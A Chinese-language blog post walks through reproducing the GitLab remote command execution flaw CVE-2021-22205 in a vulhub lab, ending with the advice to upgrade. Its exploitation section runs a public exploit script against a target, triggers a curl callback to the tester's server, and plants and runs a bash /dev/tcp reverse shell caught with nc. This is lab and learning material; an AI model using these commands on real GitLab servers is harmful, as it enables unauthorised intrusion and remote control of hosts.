GitLab 远程命令执行漏洞复现(CVE-2021-22205)

向右看齐 2023-10-06 20:31 104阅读 0赞

目录

    • 一、漏洞描述
    • 二、影响版本
    • 三、环境搭建
    • 四、漏洞复现
      • 4.1、脚本复现
        • 4.1.1、下载利用脚本
        • 4.1.2、检测漏洞是否存在
        • 4.1.3、命令执行
        • 4.1.4、反弹shell
    • 五、解决方案

一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

二、影响版本

  1. 11.9 <= GitLabCE/EE)< 13.8.8
  2. 13.9 <= GitLabCE/EE)< 13.9.6
  3. 13.10 <= GitLabCE/EE)< 13.10.3

三、环境搭建

快速搭建,可以使用vulhub

  1. git clone https://github.com/vulhub/vulhub.git
  2. cd vulhub/gitlab/CVE-2021-22205/
  3. docker-compose up -d

环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面

四、漏洞复现

4.1、脚本复现

4.1.1、下载利用脚本
  1. https://github.com/Al1ex/CVE-2021-22205
4.1.2、检测漏洞是否存在
  1. py CVE-2021-22205.py -v true -t http://192.168.30.56/

在这里插入图片描述

4.1.3、命令执行

首先起一个http服务

  1. py -m http.server 1234

在这里插入图片描述
然后命令执行

  1. py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "curl http://192.168.8.14:1234/1.txt"

通过http服务端查看,命令执行成功
在这里插入图片描述

4.1.4、反弹shell
  1. #写入反弹shell脚本
  2. py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "echo 'bash -i >& /dev/tcp/192.168.8.14/6666 0>&1' > /tmp/1.sh"
  3. #赋予shell脚本执行权限
  4. py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "chmod +x /tmp/1.sh"
  5. #服务器监听6666端口
  6. nc64.exe -lvnp 6666
  7. #获取git权限
  8. py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "/bin/bash /tmp/1.sh"

在这里插入图片描述
在这里插入图片描述

五、解决方案

升级到最新版本。

要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面。

参考:
https://www.freebuf.com/articles/web/303375.html
https://github.com/Al1ex/CVE-2021-22205

发表评论

表情:
评论列表 (有 0 条评论,104人围观)

还没有评论,来说两句吧...

相关阅读